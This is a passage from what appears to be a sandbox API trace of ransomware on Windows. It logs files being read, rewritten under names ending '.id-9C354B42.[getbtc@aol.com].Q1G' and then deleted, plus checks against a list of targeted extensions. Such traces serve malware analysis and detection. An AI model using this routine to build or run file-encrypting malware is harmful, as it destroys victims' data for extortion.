Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.570] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.570] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.570] GetLastError () returned 0x0 [0047.570] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x4162, lpOverlapped=0x0) returned 1 [0047.572] WriteFile (in: hFile=0x184, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0047.574] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.574] WriteFile (in: hFile=0x184, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.574] SetEndOfFile (hFile=0x184) returned 1 [0047.574] CloseHandle (hObject=0x184) returned 1 [0047.574] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.574] SetEndOfFile (hFile=0x20c) returned 1 [0047.575] CloseHandle (hObject=0x20c) returned 1 [0047.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.575] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0047.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.575] lstrlenW (lpString=".doc") returned 4 [0047.575] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.575] lstrlenW (lpString=".docx") returned 5 [0047.575] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.575] lstrlenW (lpString=".pdf") returned 4 [0047.575] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.575] lstrlenW (lpString=".xls") returned 4 [0047.575] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.576] lstrlenW (lpString=".xlsx") returned 5 [0047.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.576] lstrlenW (lpString=".ppt") returned 4 [0047.576] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString=".zip") returned 4 [0047.576] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.576] lstrlenW (lpString=".rar") returned 4 [0047.576] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.576] lstrlenW (lpString=".bz2") returned 4 [0047.576] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString=".7z") returned 3 [0047.576] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString=".dbf") returned 4 [0047.576] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString=".1cd") returned 4 [0047.576] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString=".jpg") returned 4 [0047.576] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.576] lstrlenW (lpString=".doc") returned 4 [0047.576] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString=".docx") returned 5 [0047.576] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.576] lstrlenW (lpString=".pdf") returned 4 [0047.576] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.576] lstrlenW (lpString=".xls") returned 4 [0047.576] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.576] lstrlenW (lpString=".xlsx") returned 5 [0047.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.576] lstrlenW (lpString=".ppt") returned 4 [0047.577] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.577] lstrlenW (lpString=".zip") returned 4 [0047.577] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.577] lstrlenW (lpString=".rar") returned 4 [0047.577] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.577] lstrlenW (lpString=".bz2") returned 4 [0047.577] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.577] lstrlenW (lpString=".7z") returned 3 [0047.577] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.577] lstrlenW (lpString=".dbf") returned 4 [0047.577] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.577] lstrlenW (lpString=".1cd") returned 4 [0047.577] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0047.577] lstrlenW (lpString=".jpg") returned 4 [0047.577] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.577] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.577] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.578] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1439) returned 1 [0047.578] CloseHandle (hObject=0x20c) returned 1 [0047.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0047.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.578] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.578] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.019] GetLastError () returned 0x0 [0048.019] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x59f, lpOverlapped=0x0) returned 1 [0048.199] WriteFile (in: hFile=0x21c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0048.199] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.199] WriteFile (in: hFile=0x21c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.200] SetEndOfFile (hFile=0x21c) returned 1 [0048.200] CloseHandle (hObject=0x21c) returned 1 [0048.200] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.200] SetEndOfFile (hFile=0x20c) returned 1 [0048.201] CloseHandle (hObject=0x20c) returned 1 [0048.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0048.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.203] lstrlenW (lpString=".doc") returned 4 [0048.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.203] lstrlenW (lpString=".docx") returned 5 [0048.203] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.203] lstrlenW (lpString=".pdf") returned 4 [0048.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.203] lstrlenW (lpString=".xls") returned 4 [0048.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.203] lstrlenW (lpString=".xlsx") returned 5 [0048.203] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.203] lstrlenW (lpString=".ppt") returned 4 [0048.203] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.203] lstrlenW (lpString=".zip") returned 4 [0048.203] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.203] lstrlenW (lpString=".rar") returned 4 [0048.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.203] lstrlenW (lpString=".bz2") returned 4 [0048.203] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.203] lstrlenW (lpString=".7z") returned 3 [0048.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.203] lstrlenW (lpString=".dbf") returned 4 [0048.203] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.203] lstrlenW (lpString=".1cd") returned 4 [0048.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.203] lstrlenW (lpString=".jpg") returned 4 [0048.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString=".doc") returned 4 [0048.204] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.204] lstrlenW (lpString=".docx") returned 5 [0048.204] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.204] lstrlenW (lpString=".pdf") returned 4 [0048.204] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString=".xls") returned 4 [0048.204] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString=".xlsx") returned 5 [0048.204] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.204] lstrlenW (lpString=".ppt") returned 4 [0048.204] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString=".zip") returned 4 [0048.204] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString=".rar") returned 4 [0048.204] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.204] lstrlenW (lpString=".bz2") returned 4 [0048.204] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.204] lstrlenW (lpString=".7z") returned 3 [0048.204] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString=".dbf") returned 4 [0048.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString=".1cd") returned 4 [0048.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.204] lstrlenW (lpString=".jpg") returned 4 [0048.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.205] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.205] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.714] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1423) returned 1 [0048.714] CloseHandle (hObject=0x1a0) returned 1 [0048.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0048.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.714] GetLastError () returned 0x0 [0048.714] ReadFile (in: hFile=0x1a0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x58f, lpOverlapped=0x0) returned 1 [0048.716] WriteFile (in: hFile=0x21c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x590, lpOverlapped=0x0) returned 1 [0048.717] ReadFile (in: hFile=0x1a0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.717] WriteFile (in: hFile=0x21c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.717] SetEndOfFile (hFile=0x21c) returned 1 [0048.717] CloseHandle (hObject=0x21c) returned 1 [0048.718] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.718] SetEndOfFile (hFile=0x1a0) returned 1 [0048.718] CloseHandle (hObject=0x1a0) returned 1 [0048.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.719] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0048.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.719] lstrlenW (lpString=".doc") returned 4 [0048.719] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.719] lstrlenW (lpString=".docx") returned 5 [0048.719] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.719] lstrlenW (lpString=".pdf") returned 4 [0048.719] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.719] lstrlenW (lpString=".xls") returned 4 [0048.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.719] lstrlenW (lpString=".xlsx") returned 5 [0048.719] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.719] lstrlenW (lpString=".ppt") returned 4 [0048.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.719] lstrlenW (lpString=".zip") returned 4 [0048.719] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.719] lstrlenW (lpString=".rar") returned 4 [0048.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.719] lstrlenW (lpString=".bz2") returned 4 [0048.719] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.719] lstrlenW (lpString=".7z") returned 3 [0048.719] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.719] lstrlenW (lpString=".dbf") returned 4 [0048.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString=".1cd") returned 4 [0048.720] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString=".jpg") returned 4 [0048.720] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString=".doc") returned 4 [0048.720] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.720] lstrlenW (lpString=".docx") returned 5 [0048.720] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.720] lstrlenW (lpString=".pdf") returned 4 [0048.720] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString=".xls") returned 4 [0048.720] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString=".xlsx") returned 5 [0048.720] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.720] lstrlenW (lpString=".ppt") returned 4 [0048.720] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString=".zip") returned 4 [0048.720] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString=".rar") returned 4 [0048.720] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.720] lstrlenW (lpString=".bz2") returned 4 [0048.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.720] lstrlenW (lpString=".7z") returned 3 [0048.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.720] lstrlenW (lpString=".dbf") returned 4 [0048.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.721] lstrlenW (lpString=".1cd") returned 4 [0048.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0048.721] lstrlenW (lpString=".jpg") returned 4 [0048.721] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.721] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.721] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0048.998] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=47962) returned 1 [0048.998] CloseHandle (hObject=0x1d0) returned 1 [0048.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0048.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 